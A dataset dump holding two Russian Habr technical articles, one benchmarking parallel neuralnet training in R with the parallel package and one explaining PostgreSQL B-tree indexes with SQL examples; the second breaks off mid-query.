text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Пример ускорения расчётов в R путём многопоточности
#### Введение
Как следует из Википедии:
> R — язык программирования для статистической обработки данных и работы с графикой, а также свободная программная среда вычислений с открытым исходным кодом в рамках проекта GNU.
Данный язык, в настоящее время, нашёл широкое применение во многих практических и чисто научных областях. Однако, исторически сложилось, что скорость многих ресурсоёмких вычислений оставляет желать лучшего. Тема параллельных вычислений в R на habrahabr уже [поднималась](http://habrahabr.ru/post/163277/). В этой статье я попытаюсь показать применение подобного подхода на конкретном примере с использованием пакета для многопоточных вычислений — **parallel**.
#### Постановка задачи
Потребность в ускорении вычислений возникла при изучении связи генетических маркеров с фенотипическими признаками человека с помощью пакета для построения нейронных сетей — **neuralnet**. Однако предложенное решение может быть использовано и для других задач.
#### Материалы и методы
В работе использовался **R 2.15.2**, **neuralnet** — 1.32, **parallel** — 2.15.2, **rbenchmark** — 1.0.0. Компьютер под управлением Windows 7, процессором Intell Core i5-2550K CPU @ 3.40GHz (4 ядра) и 8Гб оперативной памяти. Встроенный набор данных data(infert, package=«datasets»).
#### Результаты и обсуждение
Для начала посмотрим нагрузку на процессор при обычном вычислении нейронной сети. Пример взят из описания пакета **neuralnet** с небольшой модификацией: *threshold=0.0001* — один из критериев остановки, и *rep=20* — 20 повторов вычисления, для того, чтобы расчёты были более «сложные».
```
nn<-function()
{
print("Обычное выполнение")
neuralnet(case~parity+induced+spontaneous, infert,
err.fct="ce", linear.output=FALSE, likelihood=TRUE,rep=20, threshold=0.0001)
}
nn()
```
Из **Диспетчера задач Windows** видно — при выполнении используется только одно из ядер процессора и загрузка ЦП составляет 25%.
Теперь измерим время выполнения этого кода. Для этого я использовал пакет **rbenchmark**. В общем виде код для измерения будет выглядеть так:
```
within(benchmark(test.name=test.function(), # название теста и тестируемая функция
replications=c(3), # число повторов в тесте (+1 повтор на "разогрев")
columns=c('test', 'replications', 'elapsed'), # стандартные колонки в таблице вывода результатов
order=c('elapsed', 'test')), # параметры сортировки вывода
{ average = elapsed/replications }) # нестандартная колонка среднего времени выполнения одного повтора теста
```
В результате получается:
```
test replications elapsed average
1 Обычное_выполнение 3 47.83 15.94333333
```
Теперь сравним это время с выполнением 20 вычислений не через опцию *rep=20*, а через, например, sapply.
```
nn.s<-function()
{
print("Последовательное выполнение")
nets<-sapply(1:20, function(X)
neuralnet(case~parity+induced+spontaneous, infert,
err.fct="ce", linear.output=FALSE, likelihood=TRUE,rep=1, threshold=0.0001))
}
```
Получается:
```
test replications elapsed average
1 Обычное_выполнение 3 46.05 15.35
2 Последовательное_выполнение 3 47.52 15.84
```
Время выполнения примерно одинаковое. Видимо никакой оптимизации выполнения повторов внутри функции **neuralnet** нет. Чтобы задействовать остальные ядра используем пакет **parallel**. Он входит в состав **R** c версии 2.14.0 и позволяет выполнять код в нескольких независимых потоках. Каждый из потоков будет выполнять функцию **neuralnet**.
```
nn.p<-function()
{
print("Параллельное выполнение")
cl <- makeCluster(getOption("cl.cores", 4)) # создание кластера из четырёх ядер процессора
clusterExport(cl,"infert") # передача данных внутрь кластера
clusterEvalQ(cl,library(neuralnet)) # загрузка пакета neuralnet в кластере
parSapply(cl, 1:20, function(X) # параллельная версия sapply
neuralnet(case~parity+induced+spontaneous, infert,
err.fct="ce", linear.output=FALSE, likelihood=TRUE,rep=1, threshold=0.0001)
)
stopCluster(cl)
}
```
Сравним время выполнения:
```
test replications elapsed average
3 Параллельное_выполнение 3 17.38 5.793333333
2 Последовательное_выполнение 3 45.88 15.293333333
1 Обычное_выполнение 3 46.61 15.536666667
```
Таким образом, параллельный вариант выполняется более чем в 2,5 раза быстрее. При этом загрузка процессора составляет 100%.
Для удобства можно создать свою обёртку для функции **neuralnet**.
```
pneuralnet <- function(formula, data, rep=1, ..., cl)
{
clusterExport(cl,"data")
clusterEvalQ(cl,library(neuralnet))
nets <- parLapply(cl, 1:rep, function(X)
neuralnet(formula, data, rep=1, ...)
)
# сортировка списка сетей в зависимости от reached.threshold
nets <- nets[order(sapply(1:rep,function(i){nets[[i]]$result.matrix["reached.threshold", ]}))]
return(nets)
}
cl <- makeCluster(getOption("cl.cores", 4))
nets <- pneuralnet(case~parity+induced+spontaneous, infert,
err.fct="ce", linear.output=FALSE, likelihood=TRUE,rep=4,
threshold=0.0001, cl=cl)
stopCluster(cl)
```
**Весь код**
```
library(parallel)
library(neuralnet)
library(rbenchmark)
data(infert, package="datasets")
nn<-function()
{
print("Обычное выполнение")
neuralnet(case~parity+induced+spontaneous, infert,
err.fct="ce", linear.output=FALSE, likelihood=TRUE,rep=20, threshold=0.0001)
}
nn.s<-function()
{
print("Последовательное выполнение")
nets<-sapply(1:20, function(X)
neuralnet(case~parity+induced+spontaneous, infert,
err.fct="ce", linear.output=FALSE, likelihood=TRUE,rep=1, threshold=0.0001))
}
nn.p<-function()
{
print("Параллельное выполнение")
cl <- makeCluster(getOption("cl.cores", 4))
clusterExport(cl,"infert")
clusterEvalQ(cl,library(neuralnet))
parSapply(cl, 1:20, function(X)
neuralnet(case~parity+induced+spontaneous, infert,
err.fct="ce", linear.output=FALSE, likelihood=TRUE,rep=1, threshold=0.0001)
)
stopCluster(cl)
}
pneuralnet <- function(formula, data, rep=1, ..., cl)
{
clusterExport(cl,"data")
clusterEvalQ(cl,library(neuralnet))
nets <- parLapply(cl, 1:rep, function(X)
neuralnet(formula, data, rep=1, ...)
)
# сортировка списка сетей в зависимости от reached.threshold
nets <- nets[order(sapply(1:rep,function(i){nets[[i]]$result.matrix["reached.threshold", ]}))]
return(nets)
}
within(benchmark(Обычное_выполнение=nn(),
Последовательное_выполнение=nn.s(),
Параллельное_выполнение=nn.p(),
replications=c(3),
columns=c('Тест', 'replications', 'elapsed'),
order=c('elapsed', 'test')),
{ average = elapsed/replications })
cl <- makeCluster(getOption("cl.cores", 4))
nets <- pneuralnet(case~parity+induced+spontaneous, infert,
err.fct="ce", linear.output=FALSE, likelihood=TRUE,rep=4,
threshold=0.0001, cl=cl)
stopCluster(cl)
``` | https://habr.com/ru/post/168399/ | null | ru | null |
# Индексы в PostgreSQL — 4
Мы уже рассмотрели [механизм индексирования PostgreSQL](https://habrahabr.ru/company/postgrespro/blog/326096/) и [интерфейс методов доступа](https://habrahabr.ru/company/postgrespro/blog/326106/), а также один из методов доступа — [хеш-индекс](https://habrahabr.ru/company/postgrespro/blog/328280/). Сейчас поговорим о самом традиционном и используемом индексе — B-дереве. Глава получилась большой, запасайтесь терпением.
Btree
=====
Устройство
----------
Индекс btree, он же B-дерево, пригоден для данных, которые можно отсортировать. Иными словами, для типа данных должны быть определены операторы «больше», «больше или равно», «меньше», «меньше или равно» и «равно». Заметьте, что одни и те же данные иногда можно сортировать разными способами, что [возвращает](https://habrahabr.ru/company/postgrespro/blog/326106/) нас к концепции семейства операторов.
Как всегда, индексные записи B-дерева упакованы в страницы. В листовых страницах эти записи содержат индексируемые данные (ключи) и ссылки на строки таблицы (TID-ы); во внутренних страницах каждая запись ссылается на дочернюю страницу индекса и содержит минимальное значение ключа в этой странице.
B-деревья обладают несколькими важными свойствами:
* Они сбалансированы, то есть любую листовую страницу отделяет от корня одно и то же число внутренних страниц. Поэтому поиск любого значения занимает одинаковое время.
* Они сильно ветвисты, то есть каждая страница (как правило, 8 КБ) содержит сразу много (сотни) TID-ов. За счет этого глубина B-деревьев получается небольшой; на практике до 4–5 для очень больших таблиц.
* Данные в индексе упорядочены по неубыванию (как между страницами, так и внутри каждой страницы), а страницы одного уровня связаны между собой двунаправленным списком. Поэтому получить упорядоченный набор данных мы можем, просто проходя по списку в одну или в другую сторону, не возвращаясь каждый раз к корню.
Вот схематичный пример индекса по одному полю с целочисленными ключами.
В самом начале файла находится метастраница, которая ссылается на корень индекса. Ниже корня расположены внутренние узлы; самый нижний ряд — листовые страницы. Стрелочки вниз символизируют ссылки из листовых узлов на строки таблицы (TID-ы).
### Поиск по равенству
Рассмотрим поиск значения в дереве по условию «*индексированное-поле = выражение*». Допустим, нас интересует ключ 49.
Поиск начинается с корневого узла, и нам надо определить, в какой из дочерних узлов спускаться. Зная находящиеся в корневом узле ключи (4, 32, 64) мы тем самым понимаем диапазоны значений в дочерних узлах. Поскольку 32 ≤ 49 < 64, надо спускаться во второй дочерний узел. Дальше та же процедура повторяется рекурсивно до тех пор, пока не будет достигнут листовой узел, из которого уже можно получить необходимые TID-ы.
В реальности эта простая на вид процедура осложняется рядом обстоятельств. Например, индекс может содержать неуникальные ключи и одинаковых значений может оказаться достаточно много, чтобы они не поместились на одну страницу. Продолжая наш пример, кажется, что из внутреннего узла следовало бы спуститься по ссылке, которая ведет от значения 49. Но, как видно на картинке, так мы пропустим один из ключей 49 в предыдущей листовой странице. Поэтому, обнаружив на внутренней странице точное равенство ключа, нам приходится спускаться на одну позицию левее, а затем просматривать индексные записи нижележащего уровня слева направо в поисках интересующего ключа.
(Другая сложность вызвана тем, что во время поиска другие процессы могут изменять данные: дерево может перестраиваться, страницы могут разбиваться на две и т. п. Все алгоритмы построены таким образом, чтобы эти одновременные действия по возможности не мешали друг другу и не требовали лишних блокировок. Но в эти детали мы уже не будем вдаваться.)
### Поиск по неравенству
При поиске по условию «*индексированное-поле ≤ выражение*» ( или «*индексированное-поле ≥ выражение*»), сначала находим в индексе значение по условию равенства «*индексированное-поле = выражение*» (если оно есть), а затем двигаемся по листовым страницам до конца в нужную сторону.
Рисунок иллюстрирует этот процесс для условия n ≤ 35:
Аналогично поддерживаются и операторы «больше» и «меньше», надо лишь исключить исходно найденное значение.
### Поиск по диапазону
При поиске по диапазону «*выражение1 ≤ индексированное-поле ≤ выражение2*» находим значение по условию «*индексированное-поле = выражение1*», а затем двигаемся по листовым страницам, пока выполняется условие «*индексированное-поле ≤ выражение2*». Или наоборот: начинаем со второго выражения и двигаемся в другую сторону, пока не дойдем до первого.
На рисунке показан процесс для условия 23 ≤ n ≤ 64:
Пример
------
Посмотрим, как выглядят планы запросов на примере. Как обычно, используем демонстрационную базу данных, и на этот раз возьмем таблицу самолетов. В ней всего девять строк и по собственной воле планировщик не будет использовать индекс — ведь вся таблица целиком помещается в одну страницу. Но нам она интересна по причине наглядности.
`demo=# select * from aircrafts;
aircraft_code | model | range
---------------+---------------------+-------
773 | Boeing 777-300 | 11100
763 | Boeing 767-300 | 7900
SU9 | Sukhoi SuperJet-100 | 3000
320 | Airbus A320-200 | 5700
321 | Airbus A321-200 | 5600
319 | Airbus A319-100 | 6700
733 | Boeing 737-300 | 4200
CN1 | Cessna 208 Caravan | 1200
CR2 | Bombardier CRJ-200 | 2700
(9 rows)
demo=# create index on aircrafts(range);
CREATE INDEX
demo=# set enable_seqscan = off;
SET`
(Или явно create index on aircrafts using btree(range), но по умолчанию строится именно B-дерево.)
Поиск по равенству:
`demo=# explain(costs off) select * from aircrafts where range = 3000;
QUERY PLAN
---------------------------------------------------
Index Scan using aircrafts_range_idx on aircrafts
Index Cond: (range = 3000)
(2 rows)`
Поиск по неравенству:
`demo=# explain(costs off) select * from aircrafts where range < 3000;
QUERY PLAN
---------------------------------------------------
Index Scan using aircrafts_range_idx on aircrafts
Index Cond: (range < 3000)
(2 rows)`
И по диапазону:
`demo=# explain(costs off) select * from aircrafts where range between 3000 and 5000;
QUERY PLAN
-----------------------------------------------------
Index Scan using aircrafts_range_idx on aircrafts
Index Cond: ((range >= 3000) AND (range <= 5000))
(2 rows)`
Сортировка
----------
Стоит еще раз подчеркнуть, что при любом способе сканирования (индексном, исключительно индексном, по битовой карте) метод доступа btree возвращает упорядоченные данные, что хорошо видно на приведенных выше рисунках.
Поэтому, если на таблице имеется индекс по условию сортировки, оптимизатор будет учитывать обе возможности: обращение к таблице по индексу и автоматическое получение отсортированных данных, либо последовательное чтение таблицы и последующая сортировка результата.
### Порядок сортировки
При создании индекса можно явно указывать порядок сортировки. Например, индекс по дальности полета можно было создать и так:
`demo=# create index on aircrafts(range desc);`
При этом слева в дереве оказались бы большие значения, а справа — меньшие. Зачем это может понадобиться, если по индексированным значениям можно проходить как в одну сторону, так и в другую?
Причина в многоколоночных индексах. Давайте создадим представление, которое будет показывать модели самолетов и условное деление на ближне-, средне- и дальнемагистральные суда:
`demo=# create view aircrafts_v as
select model,
case
when range < 4000 then 1
when range < 10000 then 2
else 3
end as class
from aircrafts;
CREATE VIEW
demo=# select * from aircrafts_v;
model | class
---------------------+-------
Boeing 777-300 | 3
Boeing 767-300 | 2
Sukhoi SuperJet-100 | 1
Airbus A320-200 | 2
Airbus A321-200 | 2
Airbus A319-100 | 2
Boeing 737-300 | 2
Cessna 208 Caravan | 1
Bombardier CRJ-200 | 1
(9 rows)`
И создадим индекс (с использованием выражения):
`demo=# create index on aircrafts(
(case when range < 4000 then 1 when range < 10000 then 2 else 3 end), model);
CREATE INDEX`
Теперь мы можем использовать этот индекс, чтобы получить данные, отсортированные по обоим столбцам по возрастанию:
`demo=# select class, model from aircrafts_v order by class, model;
class | model
-------+---------------------
1 | Bombardier CRJ-200
1 | Cessna 208 Caravan
1 | Sukhoi SuperJet-100
2 | Airbus A319-100
2 | Airbus A320-200
2 | Airbus A321-200
2 | Boeing 737-300
2 | Boeing 767-300
3 | Boeing 777-300
(9 rows)
demo=# explain(costs off) select class, model from aircrafts_v order by class, model;
QUERY PLAN
--------------------------------------------------------
Index Scan using aircrafts_case_model_idx on aircrafts
(1 row)`
Точно так же можно выполнить запрос с сортировкой по убыванию:
`demo=# select class, model from aircrafts_v order by class desc, model desc;
class | model
-------+---------------------
3 | Boeing 777-300
2 | Boeing 767-300
2 | Boeing 737-300
2 | Airbus A321-200
2 | Airbus A320-200
2 | Airbus A319-100
1 | Sukhoi SuperJet-100
1 | Cessna 208 Caravan
1 | Bombardier CRJ-200
(9 rows)
demo=# explain(costs off)
select class, model from aircrafts_v order by class desc, model desc;
QUERY PLAN
-----------------------------------------------------------------
Index Scan **Backward** using aircrafts_case_model_idx on aircrafts
(1 row)`
Но из этого индекса невозможно получить данные, отсортированные по одному столбцу по убыванию, а по другому — по возрастанию. Для этого потребуется отдельно выполнить сортировку:
`demo=# explain(costs off)
select class, model from aircrafts_v order by class **asc**, model **desc**;
QUERY PLAN
-------------------------------------------------
Sort
Sort Key: (CASE ... END), aircrafts.model DESC
-> Seq Scan on aircrafts
(3 rows)`
(Заметьте, что с горя планировщик выбрал сканирование таблицы, даже несмотря на установку enable\_seqscan = off, сделанную ранее. Это потому, что на самом деле она не запрещает сканирование таблицы, а только устанавливает ему запредельную стоимость — посмотрите план с «costs on».)
Чтобы такой запрос мог быть выполнен с использованием индекса, индекс надо построить с сортировкой в нужном порядке:
`demo=# create index aircrafts_case_asc_model_desc_idx on aircrafts(
(case when range < 4000 then 1 when range < 10000 then 2 else 3 end) **asc**, model **desc**);
CREATE INDEX
demo=# explain(costs off)
select class, model from aircrafts_v order by class **asc**, model **desc**;
QUERY PLAN
-----------------------------------------------------------------
Index Scan using aircrafts_case_asc_model_desc_idx on aircrafts
(1 row)`
### Порядок столбцов
Другой вопрос, который встает при использовании многоколоночных индексов — порядок перечисления столбцов в индексе. В случае B-дерева этот порядок имеет огромное значение: данные внутри страниц будут отсортированы сначала по первому полю, затем по второму и так далее.
Индекс, который мы построили по интервалам дальностей и моделям, можно условно представить таким образом:
Конечно, на самом деле такой небольшой индекс поместится в одну корневую страницу; на рисунке он искусственно распределен на несколько страниц для наглядности.
Из этой схемы понятно, что поиск будет работать эффективно с такими, например, предикатами, как «class = 3» (поиск только по первому полю) или «class = 3 and model = 'Boeing 777-300'» (поиск по обоим полям).
А вот поиск по предикату «model = 'Boeing 777-300'» будет куда менее эффективным: начиная с корня, мы не можем определить, в какой из дочерних узлов спускаться, поэтому спускаться придется во все. Это не значит, что такой индекс не может использоваться в принципе — вопрос только в эффективности. Например, если бы у нас было три класса самолетов и очень много моделей в каждом классе, то нам пришлось бы просмотреть примерно треть индекса, и это могло бы оказаться эффективнее, чем полное сканирование таблицы. А могло бы и не оказаться.
Зато если создать индекс таким образом:
`demo=# create index on aircrafts(
model, (case when range < 4000 then 1 when range < 10000 then 2 else 3 end));
CREATE INDEX`
то порядок полей поменяется:
И с таким индексом поиск по предикату «model = 'Boeing 777-300'» будет выполняться эффективно, а по предикату «class = 3» — нет.
### Неопределенные значения
Метод доступа btree индексирует неопределенные значения и поддерживает поиск по условиям is null и is not null.
Возьмем таблицу рейсов, в которой встречаются неопределенные значения:
`demo=# create index on flights(actual_arrival);
CREATE INDEX
demo=# explain(costs off) select * from flights where actual_arrival is null;
QUERY PLAN
-------------------------------------------------------
Bitmap Heap Scan on flights
Recheck Cond: (actual_arrival IS NULL)
-> Bitmap Index Scan on flights_actual_arrival_idx
Index Cond: (actual_arrival IS NULL)
(4 rows)`
Неопределенные значения располагаются с одного или другого края листовых узлов в зависимости от того, как был создан индекс (nulls first или nulls last). Это важно, если в запросе участвует сортировка: порядок расположения неопределенных значений в индексе и в порядке сортировки должны совпадать, чтобы индекс можно было использовать.
В этом примере порядки совпадают, поэтому индекс может использоваться:
`demo=# explain(costs off) select * from flights order by actual_arrival **nulls last**;
QUERY PLAN
--------------------------------------------------------
Index Scan using flights_actual_arrival_idx on flights
(1 row)`
А здесь порядки отличаются, и оптимизатор выбирает сканирование таблицы и сортировку:
`demo=# explain(costs off) select * from flights order by actual_arrival **nulls first**;
QUERY PLAN
----------------------------------------
Sort
Sort Key: actual_arrival NULLS FIRST
-> Seq Scan on flights
(3 rows)`
Чтобы индекс мог использоваться, надо создать его так, чтобы неопределенные значения шли в начале:
`demo=# create index flights_nulls_first_idx on flights(actual_arrival **nulls first**);
CREATE INDEX
demo=# explain(costs off) select * from flights order by actual_arrival **nulls first**;
QUERY PLAN
-----------------------------------------------------
Index Scan using flights_nulls_first_idx on flights
(1 row)`
Причина таких неувязок, конечно, в том, что неопределенные значения не являются сортируемыми: результат сравнения неопределенного значения с любым другим не определен:
`demo=# \pset null NULL
Null display is "NULL".
demo=# select null < 42;
?column?
----------
NULL
(1 row)`
Это идет вразрез с сущностью B-дерева и не укладывается в общую схему. Но неопределенные значения играют такую важную роль в базах данных, что для них все время приходится делать исключения.
Следствием того, что неопределенные значения индексируются, является возможность использовать индекс, даже если на таблицу не наложено вообще никаких условий (поскольку в индексе гарантированно содержится информация обо всех строках таблицы). Это может иметь смысл, если в запросе нужно упорядочить данные и индекс обеспечивает нужный порядок. Тогда планировщик может предпочесть индексный доступ, чтобы сэкономить на отдельной сортировке.
Свойства
--------
Посмотрим свойства метода доступа btree (запросы [приводились ранее](https://habrahabr.ru/company/postgrespro/blog/326106/)).
`amname | name | pg_indexam_has_property
--------+---------------+-------------------------
btree | can_order | t
btree | can_unique | t
btree | can_multi_col | t
btree | can_exclude | t`
Как мы видели, B-дерево может упорядочивать данные и поддерживает уникальность — и это единственный метод доступа, который обеспечивает такие свойства. Индексы по нескольким столбцам также допустимы; но это умеют и другие методы (хотя и не все). Про поддержку ограничений exclude мы, не без причины, поговорим в следующий раз.
`name | pg_index_has_property
---------------+-----------------------
clusterable | t
index_scan | t
bitmap_scan | t
backward_scan | t`
Метод доступа b-tree поддерживает оба способа получения значений: и индексное сканирование, и сканирование битовой карты. И, как мы видели, умеет обходить дерево как «вперед», так и в обратном направлении.
`name | pg_index_column_has_property
--------------------+------------------------------
asc | t
desc | f
nulls_first | f
nulls_last | t
orderable | t
distance_orderable | f
returnable | t
search_array | t
search_nulls | t`
Первые четыре свойства этого уровня говорят о том, как именно упорядочены значения данного конкретного столбца. В этом примере значения отсортированы по возрастанию (asc), а неопределенные значения находятся к конце (nulls\_last). Но, как мы видели, могут быть и другие комбинации.
Свойство search\_array говорит о том, что индекс поддерживает такие конструкции:
`demo=# explain(costs off)
select * from aircrafts where aircraft_code in ('733','763','773');
QUERY PLAN
-----------------------------------------------------------------
Index Scan using aircrafts_pkey on aircrafts
Index Cond: (aircraft_code = ANY ('{733,763,773}'::bpchar[]))
(2 rows)`
Свойство returnable говорит о поддержке исключительно индексного сканирования — что логично, ведь в индексных записях хранятся сами проиндексированные значения (в отличие от хеш-индекса, например). Тут уместно сказать несколько слов об особенностях покрывающих индексов на основе B-дерева.
### Уникальные индексы с дополнительными столбцами
Как мы говорили [ранее](https://habrahabr.ru/company/postgrespro/blog/326096/), покрывающим называется индекс, который содержит все значения, необходимые в запросе; при этом обращение к самой таблице уже не требуется (почти). В том числе покрывающим может быть и уникальный индекс.
Но допустим, мы хотим добавить к уникальному индексу дополнительные столбцы, необходимые в запросе. Но уникальность таких составных значений не гарантирует уникальность ключа, поэтому нам потребуется иметь два индекса практически по одним и тем же столбцам: один уникальный для поддержки ограничения целостности и еще один в качестве покрывающего. Это, конечно, неэффективно.
В нашей компании Анастасия Лубенникова [lubennikovaav](https://habr.com/ru/users/lubennikovaav/) доработала метод btree так, чтобы в уникальный индекс можно было включать дополнительные — неуникальные — столбцы. Надеемся, что этот патч будет принят сообществом и войдет в PostgreSQL, но это случится уже не в версии 10. Пока патч доступен в Postgres Pro Standard 9.5+, и вот как это выглядит.
Возьмем таблицу бронирований:
`demo=# \d bookings
Table "bookings.bookings"
Column | Type | Modifiers
--------------+--------------------------+-----------
book_ref | character(6) | not null
book_date | timestamp with time zone | not null
total_amount | numeric(10,2) | not null
Indexes:
**"bookings\_pkey" PRIMARY KEY, btree (book\_ref)**
Referenced by:
TABLE "tickets" CONSTRAINT "tickets_book_ref_fkey" FOREIGN KEY (book_ref) REFERENCES bookings(book_ref)`
В ней первичный ключ (book\_ref, код бронирования) поддержан обычным btree-индексом. Создадим новый уникальный индекс с дополнительным столбцом:
`demo=# create unique index bookings_pkey2 on bookings(book_ref) **include (book\_date)**;
CREATE INDEX`
Теперь заменим существующий индекс на новый (в транзакции, чтобы все изменения вступили в силу одновременно):
`demo=# begin;
BEGIN
demo=# alter table bookings drop constraint bookings_pkey cascade;
NOTICE: drop cascades to constraint tickets_book_ref_fkey on table tickets
ALTER TABLE
demo=# alter table bookings add primary key **using index bookings\_pkey2**;
ALTER TABLE
demo=# alter table tickets add foreign key (book_ref) references bookings (book_ref);
ALTER TABLE
demo=# commit;
COMMIT`
Вот что получилось:
`demo=# \d bookings
Table "bookings.bookings"
Column | Type | Modifiers
--------------+--------------------------+-----------
book_ref | character(6) | not null
book_date | timestamp with time zone | not null
total_amount | numeric(10,2) | not null
Indexes:
**"bookings\_pkey2" PRIMARY KEY, btree (book\_ref) INCLUDE (book\_date)**
Referenced by:
TABLE "tickets" CONSTRAINT "tickets_book_ref_fkey" FOREIGN KEY (book_ref) REFERENCES bookings(book_ref)`
Теперь один и тот же индекс работает и как уникальный, и выступает покрывающим для такого, например, запроса:
`demo=# explain(costs off)
select book_ref, book_date from bookings where book_ref = '059FC4';
QUERY PLAN
--------------------------------------------------
Index Only Scan using bookings_pkey2 on bookings
Index Cond: (book_ref = '059FC4'::bpchar)
(2 rows)`
Создание индекса
----------------
Хорошо известный, но от этого не менее важный факт: загрузку в таблицу большого объема данных лучше выполнять без индексов, а необходимые индексы создавать уже после. Это не только быстрее, но и сам индекс скорее всего получится меньшего размера.
Дело в том, что при создании btree-индекса используется более эффективная процедура, чем построчная вставка значений в дерево. Грубо говоря, все имеющиеся в таблице данные сортируются и из них формируются листовые страницы индекса; затем на это основание «наращиваются» внутренние страницы до тех пор, пока вся пирамида не сойдется к корню.
Скорость этого процесса зависит от размера доступной оперативной памяти, который ограничен параметром maintenance\_work\_mem, так что увеличение значения может привести к ускорению. В случае уникальных индексов в дополнение к maintenance\_work\_mem выделяется еще память размером work\_mem.
Семантика сравнения
-------------------
[В прошлый раз](https://habrahabr.ru/company/postgrespro/blog/328280/) мы говорили о том, что PostgreSQL должен знать, какие хеш-функции вызывать для значений разных типов, и что такое соответствие хранится в метода доступа hash. Точно так же системе надо понимать, как упорядочивать значения — это нужно для сортировок, группировок (иногда), соединения слиянием и т. п. PostgreSQL не привязывается к именам операторов (таким, как >, <, =), потому что пользователь вполне может определить свой тип данных и назвать соответствующие операторы как-то иначе. Вместо этого имена операторов определяются семейством операторов, привязанных к методу доступа btree.
Например, вот какие операторы сравнения используются в семействе bool\_ops:
`postgres=# select amop.amopopr::regoperator as opfamily_operator,
amop.amopstrategy
from pg_am am,
pg_opfamily opf,
pg_amop amop
where opf.opfmethod = am.oid
and amop.amopfamily = opf.oid
and am.amname = 'btree'
and opf.opfname = 'bool_ops'
order by amopstrategy;
opfamily_operator | amopstrategy
---------------------+--------------
<(boolean,boolean) | 1
<=(boolean,boolean) | 2
=(boolean,boolean) | 3
>=(boolean,boolean) | 4
>(boolean,boolean) | 5
(5 rows)`
Здесь мы видим пять операторов сравнения, но, как было сказано, не должны ориентироваться на их названия. Чтобы понять, какое сравнение реализовано каким оператором, вводится понятие *стратегии.* Для btree определены пять стратегий, определяющих семантику операторов:
* 1 — меньше;
* 2 — меньше либо равно;
* 3 — равно;
* 4 — больше либо равно;
* 5 — больше.
Некоторые семейства могут содержать несколько операторов, реализующих одну стратегию. Например, вот какие операторы есть в семействе integer\_ops для стратегии 1:
`postgres=# select amop.amopopr::regoperator as opfamily_operator
from pg_am am,
pg_opfamily opf,
pg_amop amop
where opf.opfmethod = am.oid
and amop.amopfamily = opf.oid
and am.amname = 'btree'
and opf.opfname = 'integer_ops'
and amop.amopstrategy = 1
order by opfamily_operator;
opfamily_operator
----------------------
<(integer,bigint)
<(smallint,smallint)
<(integer,integer)
<(bigint,bigint)
<(bigint,integer)
<(smallint,integer)
<(integer,smallint)
<(smallint,bigint)
<(bigint,smallint)
(9 rows)`
За счет этого оптимизатор имеет возможность сравнивать значения разных типов, входящих в одно семейство, не прибегая к приведению.
### Индексная поддержка для нового типа данных
В документации есть [пример](https://postgrespro.ru/docs/postgrespro/9.6/xindex.html) создания нового типа данных для комплексных чисел, и класса операторов для сортировки значений этого типа. Этот пример использует язык Си, что абсолютно оправдано, когда важна скорость. Но ничто не мешает проделать тот же эксперимент на чистом SQL, просто чтобы попробовать и лучше разобраться в семантике сравнения.
Создаем новый составной тип с двумя полями: действительная и мнимая части.
`postgres=# create type complex as (re float, im float);
CREATE TYPE`
Можно создать таблицу с полем нового типа и добавить в нее каких-нибудь значений:
`postgres=# create table numbers(x complex);
CREATE TABLE
postgres=# insert into numbers values ((0.0, 10.0)), ((1.0, 3.0)), ((1.0, 1.0));
INSERT 0 3`
Теперь возникает вопрос: как упорядочивать комплексные числа, если в математическом смысле для них не определено отношение порядка?
Как выясняется, операции сравнения уже определены за нас:
`postgres=# select * from numbers order by x;
x
--------
(0,10)
(1,1)
(1,3)
(3 rows)`
По умолчанию составной тип сортируется покомпонентно: сначала сравниваются первые поля, затем вторые и так далее, примерно как посимвольно сравниваются текстовые строки. Но можно определить и другой порядок. Например, комплексные числа можно рассматривать как векторы и упорядочивать их по модулю (по длине), который вычисляется как корень из суммы квадратов координат (теорема Пифагора). Чтобы определить такой порядок, создадим вспомогательную функцию для вычисления модуля:
`postgres=# create function modulus(a complex) returns float as $$
select sqrt(a.re*a.re + a.im*a.im);
$$ immutable language sql;
CREATE FUNCTION`
И с ее помощью методично определим функции для всех пяти операций сравнения:
`postgres=# create function complex_lt(a complex, b complex) returns boolean as $$
select modulus(a) < modulus(b);
$$ immutable language sql;
CREATE FUNCTION
postgres=# create function complex_le(a complex, b complex) returns boolean as $$
select modulus(a) <= modulus(b);
$$ immutable language sql;
CREATE FUNCTION
postgres=# create function complex_eq(a complex, b complex) returns boolean as $$
select modulus(a) = modulus(b);
$$ immutable language sql;
CREATE FUNCTION
postgres=# create function complex_ge(a complex, b complex) returns boolean as $$
select modulus(a) >= modulus(b);
$$ immutable language sql;
CREATE FUNCTION
postgres=# create function complex_gt(a complex, b complex) returns boolean as $$
select modulus(a) > modulus(b);
$$ immutable language sql;
CREATE FUNCTION`
И создадим соответствующие операторы. Чтобы показать, что они не обязаны называться «>», «<» и так далее, дадим им «странные» имена.
`postgres=# create operator #<#(leftarg=complex, rightarg=complex, procedure=complex_lt);
CREATE OPERATOR
postgres=# create operator #<=#(leftarg=complex, rightarg=complex, procedure=complex_le);
CREATE OPERATOR
postgres=# create operator #=#(leftarg=complex, rightarg=complex, procedure=complex_eq);
CREATE OPERATOR
postgres=# create operator #>=#(leftarg=complex, rightarg=complex, procedure=complex_ge);
CREATE OPERATOR
postgres=# create operator #>#(leftarg=complex, rightarg=complex, procedure=complex_gt);
CREATE OPERATOR`
На этом этапе уже можно сравнивать числа:
`postgres=# select (1.0,1.0)::complex #<# (1.0,3.0)::complex;
?column?
----------
t
(1 row)`
Кроме пяти операторов метод доступа btree требует определить еще одну (избыточную, но удобную) функцию: она должна возвращать -1, 0 или 1 если первое значение меньше, равно или больше второго. Такая вспомогательная функция называется *опорной;* другие методы доступа могут требовать создания других опорных функций.
`postgres=# create function complex_cmp(a complex, b complex) returns integer as $$
select case when modulus(a) < modulus(b) then -1
when modulus(a) > modulus(b) then 1
else 0
end;
$$ language sql;
CREATE FUNCTION`
Теперь мы готовы создать класс операторов (а одноименное семейство будет создано автоматически):
`postgresx=# create operator class complex_ops
default for type complex
using btree as
operator 1 #<#,
operator 2 #<=#,
operator 3 #=#,
operator 4 #>=#,
operator 5 #>#,
function 1 complex_cmp(complex,complex);
CREATE OPERATOR CLASS`
Теперь сортировка работает так, как мы хотели:
`postgres=# select * from numbers order by x;
x
--------
(1,1)
(1,3)
(0,10)
(3 rows)`
И, разумеется, она будет поддерживаться индексом btree.
Для полноты картины, опорные функции можно увидеть таким запросом:
`postgres=# select amp.amprocnum,
amp.amproc,
amp.amproclefttype::regtype,
amp.amprocrighttype::regtype
from pg_opfamily opf,
pg_am am,
pg_amproc amp
